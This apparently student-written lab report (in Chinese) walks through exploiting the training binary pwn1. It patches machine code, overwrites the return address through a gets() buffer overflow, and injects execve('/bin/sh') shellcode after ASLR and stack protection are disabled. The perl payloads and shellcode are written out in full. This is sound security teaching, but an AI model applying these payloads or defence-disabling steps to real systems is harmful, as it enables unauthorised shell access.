当前位置: 首页 > news >正文

20232318 2025-2026-1 《网络与系统攻防技术》 实验一实验报告

一、实验目的

  本次实验聚焦于 Linux 平台下可执行文件 pwn1 的缓冲区溢出(BOF)漏洞挖掘与 shellcode 注入技术,核心目标是通过三种不同的技术路径篡改程序原有执行流程,从而触发程序中默认不可调用的 getShell 函数,或实现自定义 shellcode 的运行。具体技术方案包括:其一,直接对可执行文件的机器指令进行手动修改,将 main 函数中原本调用 foo 函数的指令目标,替换为 getShell 函数;其二,利用 foo 函数存在的 BOF 漏洞,设计特定的攻击字符串,通过覆盖函数返回地址的方式,间接触发 getShell 函数执行;其三,在关闭系统层面的安全防护机制后,向程序注入自定义编写的 shellcode,并确保其成功运行,最终获取具有交互能力的 Shell 环境。​

  本次学习过程不仅深入涉及汇编指令解析、栈内存结构等底层计算机知识,还要求熟练掌握多款工具的实操技巧,如 gdb 调试工具的断点设置与内存查看、vi 编辑器的十六进制模式编辑、patchelf 工具的动态链接库配置等。同时,对小端字节序的存储规则、地址空间随机化(ASLR)机制、堆栈内存区域的权限控制等关键技术概念,也形成了更透彻的理解。

二、实验过程

1.直接修改程序机器指令,改变程序执行流程

先安装好kali,新建文件夹pwn,复制pwn文件进入并改名为pwn20232318

6e8e4a748a41e52700913213eb7eac14

随后修改主机名为20232318,进行反汇编

输入: objdump -d pwn20232318 | more

13ee545bc314ecbaea3cf1744549c132

找到getshell,foo,main

2ae06d0800c4fbd7e18f103480a0fd83

getShell 函数起始地址为 0x0804847d,foo 函数起始地址为 0x08048491,main 函数中调用 foo 函数的指令位于地址 0x080484b5,对应的机器指令为 “e8 d7 ff ff ff”。

但是这时需将call foo修改为call getShell,通过计算,需要把机器指令更改为“e8 c3 ff ff ff”

但为了避免原文件遭受破坏,我先复制 pwn20232318 并进行粘贴,生成了新文件 pwn20232318-2,并进行修改

vim 打开新复制的文件 pwn20232310-2,并进入十六进制编辑模式。

在终端中执行:vim pwn20232310_2

a9ce5726b7d7041bcce8fd62deea11ef

打开文件后,在 vim 的普通模式下,输入以下命令进入十六进制编辑模式::%!xxd

执行该命令后,vim 会将文件内容以十六进制的形式显示出来

向下翻找找到0xd7ffffff

b223b61377a5ab3b90a4a25257c6a710

e8d7ffffff改为e8c3ffffff

e8992679b6d46864cfb3976b185e2819

随后返回再次查看,可见已经变成跳转至getshell

a31ab5af737a002fe1c5f801c7c5c00f

随后执行pwn20232318_2,可见成功执行。

b7a60e04d83220a5c122cd8d0ed264ff

2.通过构造输入参数,造成BOF攻击,改变程序执行流

(1)接着继续进行反汇编,查看foo函数

  foo函数使用无长度限制的gets函数读取输入,而仅为输入分配了 28 字节(0x1c)的缓冲区,这就为 BOF 攻击提供了条件。

  当输入数据超过 28 字节时,超出部分会先覆盖foo函数的 EBP 值,继续超出则会覆盖函数的返回地址(即main函数调用foo后,下一步要执行的指令地址)。若将返回地址篡改为getShell函数的入口地址,那么foo函数执行完ret指令后,CPU 会跳转到getShell函数而非原main函数的后续指令,最终实现程序执行流的篡改。

46c0b61e3df38c54d09b7643c235d5f0

(2)故此,我需要先定位返回地址覆盖位置,通过gdb调试,确定输入字符串中哪部分会覆盖返回地址。运行gdb发现未含有,故先下载gdb

92bce961452d8bdb13d4bb6153ce50f1

启动gdb调试目标文件:执行gdb pwn20232318,进入调试模式

e8bd538983b7589584ede2856fa394d3

在gdb中输入r启动程序

首先,栈结构关系:栈中缓冲区(28 字节)→ EBP(4 字节)→ 返回地址(4 字节),因此需填充28+4=32字节后,再覆盖 4 字节返回地址,总攻击字符串长度需至少 36 字节。

故此手动输入32 字节填充字符 + 4 字节标记字符:

1111111122222222333333334444444412345678,前 32 字节为1/2/3/4各 8 字节,后 4 字节为1234

输入完成后,程序会因非法内存访问触发SIGSEGV(段错误),此时输入info r查看寄存器,发现eip值为0x34333231—— 对应 ASCII 码1234,证明输入字符串的第 33-36 字节(即 32 字节填充后的数据)会覆盖返回地址。

2e73bb1df1acd6a3e48afdc4a1ef6066

(3)随后需要确定返回地址的字节序,x86 架构采用小端字节序(低字节存低地址,高字节存高地址),因此getShell入口地址0x0804847d需按 “低字节→高字节” 的顺序拆分

地址拆分:0x0804847d可拆分为四个字节:0x08(最高字节)、0x04、0x84、0x7d(最低字节);

小端存储顺序:栈中存储返回地址时,需按 “最低字节在前,最高字节在后” 排列,即0x7d→0x84→0x04→0x08,对应十六进制字符串\x7d\x84\x04\x08

(4)故此需要构造攻击字符串并执行

利用perl生成包含 “填充字符 + 正确返回地址” 的攻击字符串,通过管道输入目标程序

生成攻击字符串文件:执行以下命令,生成input文件,其中前 32 字节为填充字符(11111111222222223333333344444444),后 4 字节为小端顺序的getShell地址:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

随后执行xxd input

查看input文件的十六进制内容,确认第 33-36 字节为7d 84 04 08,确保格式正确

b11320b9978f21c36eca0491adde3111

执行攻击并验证结果:通过管道将input文件内容作为目标程序的输入,执行命令:

(cat input; cat) | ./pwn20232318

b00be0319fe20474c22a366cdef576b7

成功进入交互式 Shell,说明返回地址已被成功覆盖,getShell函数正常调用,BOF 攻击生效。

  3.注入Shellcode并执行

  Shellcode 是一段可直接被 CPU 执行的机器指令,核心目的是触发系统调用获取交互式 Shell(如 Linux 下调用 system("/bin/sh"))。在缓冲区溢出漏洞基础上实现 Shellcode 注入,需突破两大关键限制:一是系统对堆栈区域的执行权限限制(默认堆栈仅可读写、不可执行),二是地址随机化机制导致 Shellcode 地址难以定位。

  实验通过 修改程序堆栈权限为可执行、关闭地址随机化 消除环境限制,再构造 “填充字符 + 覆盖返回地址 + NOP 滑动区 + Shellcode” 的攻击 payload:填充字符用于填满缓冲区并覆盖 EBP,覆盖返回地址指向 NOP 滑动区,NOP 指令(机器码 \x90)可让 CPU “滑入” 后续 Shellcode,最终实现恶意指令执行。

  1. 确保 Linux 环境中已安装 patchelf(修改程序堆栈权限)、gdb(调试定位地址)、perl(生成 payload)、readelf(验证堆栈权限)

58f77eba821eaaa0e4d0cd4f5b305a86

  Linux 系统默认开启地址空间随机化(ASLR),会导致堆栈地址每次运行都变化,无法固定 Shellcode 地址。需执行命令关闭

  切换至 root 权限:sudo -s,输入密码后进入管理员模式;

  查看当前随机化状态:more /proc/sys/kernel/randomize_va_space,若输出 2 表示开启;

  关闭随机化:echo "0" > /proc/sys/kernel/randomize_va_space,再次查看确认输出为 0,确保地址固定。

fdc2e5faff55c62edc7bd546ad358afa

同时设置堆栈为可执行并验证

修改堆栈权限:patchelf --set-execstack ~/pwn/pwn20232318

验证修改结果:readelf -l ~/pwn/pwn20232318 | grep -i "stack",若输出包含 RWE(Read, Write, Execute),则说明堆栈已具备执行权限。

58f77eba821eaaa0e4d0cd4f5b305a86

  (2)定位 Shellcode 地址与设计payload 结构

结合缓冲区溢出漏洞的栈布局,payload 需包含四部分,总长度需覆盖缓冲区(28 字节)+ EBP(4 字节)+ 返回地址(4 字节)

由于 Shellcode 注入到栈中,需通过 gdb 调试确定其在内存中的具体地址。

先以之前打开的终端,生成临时 payload(含占位地址):先构造包含 “填充字符 + 临时占位地址 + NOP + Shellcode” 的 payload,用于在栈中标记返回地址位置,执行命令:

perl -e 'print "A" x 32; print "\x01\x02\x03\x04"; print "\x90" x 6; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; print "\x0a"' > input_shellcode

71bad0e1087f0dc4a26d1a94e193d8f2

启动程序并注入临时 payload

打开另外一个终端,执行命令注入 payload:

(cat input_shellcode; cat) | ./pwn20232318

此时程序会阻塞等待输入,保持终端运行

8592a9d984f3cb0ad4b35ed0b98c2796

回到原来终端,查找目标程序的进程号:ps -ef | grep pwn20232318,记录进程号为28491

3489f50246005cf4ce72e3f5f98d66fd

在gdb 附加进程并定位地址

在第一个终端启动 gdb 并附加进程,反汇编 foo 函数找到 ret 指令地址:disassemble foo,确定 ret 指令地址

d23555fa2cb8e95107316a1cb384ee0c

设置断点在 ret 指令:break *0x080484ae,输入 c 继续运行程序

按下回车键触发断点,此时程序暂停在 ret 指令执行前;

查看栈布局:输入 x/16x %esp(查看 esp 指向的栈内存),找到临时占位地址 0x01020304,其相邻的 NOP 区域地址即为 Shellcode 入口地址。定位到 NOP 区域地址为 0xffffd380

80e0361e96beb5c2120afa3fecda02c2

生成最终 payload:将临时 payload 中的占位地址替换为实际的 NOP 区域地址

地址从 0xffffd320 变为 0xffffd380 时,只需将 Perl 命令中对应位置的地址字节替换即可。由于 x86 系统采用小端序存储,0xffffd380 对应的字节序列为 \x80\xd3\xff\xff。

修改后的代码如下:perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

验证 payload 格式:执行 xxd input_shellcode_final,确认填充字符、返回地址、NOP 区、Shellcode 的字节顺序与内容正确。

86c07ad9bb3438a531043493d464aa8f

执行注入并验证结果:在终端执行命令注入最终 payload

064725c15441b5b2efe648508670d337

可见成功进入交互式 Shell,可执行 ls 查看当前目录文件,说明 Shellcode 已成功注入并执行。

三、问题及解决方案

问题1:打开另外一个终端,执行命令注入 payload时无法成功,发现目录下方有横线,便试了一下能否注入,随后结果出现没有文件。

问题1解决方案:在观察我的前一个终端的使用后,发现我只是进入了主机,但没有进入文件夹中,我的pwn文件在文件夹中故此无法进行注入。随后我cd进入文件夹,成功注入。

4fbd7642-fbc5-428e-b189-1aa6e2264ee8

问题2:在注入Shellcode并执行时,我盲目的直接进行输入代码,并发现经常出现没有文件与目录,发现无法进行下一步的等待输入。

问题2解决方案:在观察实验指导书后,发现需要进行另一终端操作,我原先以为是在同一个终端进行操作,问了ai发现问题也无法解决,最后打开另外一个终端进行注入 payload,便可以成功进行下一步。

3c299534-b227-4fb2-9aa0-f29ae58aaf9d四、学习感悟、思考等

  本次 Linux 缓冲区溢出与 Shellcode 注入实验,是一次从 “理论认知” 到 “底层实操” 的深度突破。整个过程不仅让我掌握了篡改程序执行流的三种核心技术,更让我对计算机底层原理与系统安全防护的逻辑有了颠覆性的理解。

  最具挑战性的当属 Shellcode 注入环节。关闭地址随机化(ASLR)、设置堆栈可执行权限的操作,让我明白现代操作系统的安全机制并非 “摆设”—— 默认的堆栈 “只读不执行” 与地址随机化,正是抵御此类攻击的重要防线。而定位 Shellcode 地址时,通过gdb附加进程、设置ret指令断点、查看栈内存布局的过程,更像是一次 “逆向追踪”:从临时 payload 的占位地址0x01020304入手,在栈内存中找到 NOP 滑动区的起始地址,再将返回地址指向此处,最终看着ls指令成功执行时,我真切体会到 “控制程序执行流” 的核心逻辑 —— 不是直接调用 Shellcode,而是通过 “返回地址跳转 + NOP 滑动” 的组合,让 CPU “主动” 执行恶意指令。

  实验中遇到的问题也让我收获颇丰。当我在终端注入 payload 时因未进入目标文件夹导致 “文件不存在”,或是误将两个终端的操作流程混淆导致进程附加失败时,我意识到:系统攻防实验不仅考验技术能力,更考验操作的严谨性 —— 路径切换、进程 ID 确认、权限切换等细节,任何一步疏忽都会导致实验失败。而这些 “踩坑” 的经历,比顺利完成实验更有价值,因为它让我学会了从 “错误信息” 中定位问题,从 “操作流程” 中排查疏漏,这正是实战攻防中不可或缺的能力。

http://www.hskmm.com/?act=detail&tid=29619

相关文章:

  • 实时Galgame - 动漫角色 语言生成+图片生成
  • 系统响应慢分析案例
  • Linux文件系统与磁盘工作原理
  • 平安好车主小程序 充电站、加油站列表vmp+wasm逆向
  • Linux文件系统的实验
  • 软中断softirq的CPU使用率升高
  • CPU多进程切换导致过载-CPU上下文切换
  • Vue3 之pinia状态管理
  • 乐理 -01识谱
  • shader func
  • 案例分析-DDOS攻击、网络延迟(延迟确认纳格算法)、NAT延迟
  • 服务器丢包分析-iptables规则-MTU大小设置错误-perf-火焰图分析处理请求时内核线程调用
  • luogu P4513 小白逛公园
  • 2025 年碟式离心机厂家 TOP 企业品牌推荐排行榜,DB640 系列 / DB330 系列 / DB440 系列 / DB460 系列 / DB550 系列 / 专业碟式离心机推荐这十家公司!
  • 20231408徐钰涵课程思维导图Openssl实践
  • 案例分析-DNS+tcpdump+wireshark
  • 2025 年卧式离心机厂家 TOP 企业品牌推荐排行榜,LW250/LW350/LW450/LW530/LW540 / 专业卧式离心机推荐这十家公司!
  • 2025 年水泥管厂家最新推荐排行榜,国标水泥管,二级水泥管,钢筋混凝土水泥管,大口径水泥管,平口水泥管公司推荐!
  • Day1 经典Holle word
  • 内存知识总结
  • 2025 年金属复合板厂家推荐广东粤洋建材科技有限公司,实力产能与定制服务全景解析金属复合板公司推荐
  • 2025 年铝蜂窝板厂家最新推荐排行榜,铝蜂窝板,铝蜂窝吊顶,铝蜂窝墙面板,微孔吸音板,防火A级铝复合板公司推荐
  • 读书笔记:关于Oracle里的“老古董”:LONG类型
  • 致技术社区的英雄们:一场关于文明未来的建造邀请
  • AI图片生成思路
  • SCP/NOIP 复习:插板法
  • 内存泄漏与SWAP
  • 今天开通自己的博客啦,加油加油!成为合格的牛马! - Irving11
  • 2025安全光栅厂家最新权威推荐榜:精准防护与高效性能的工业
  • 分块学习笔记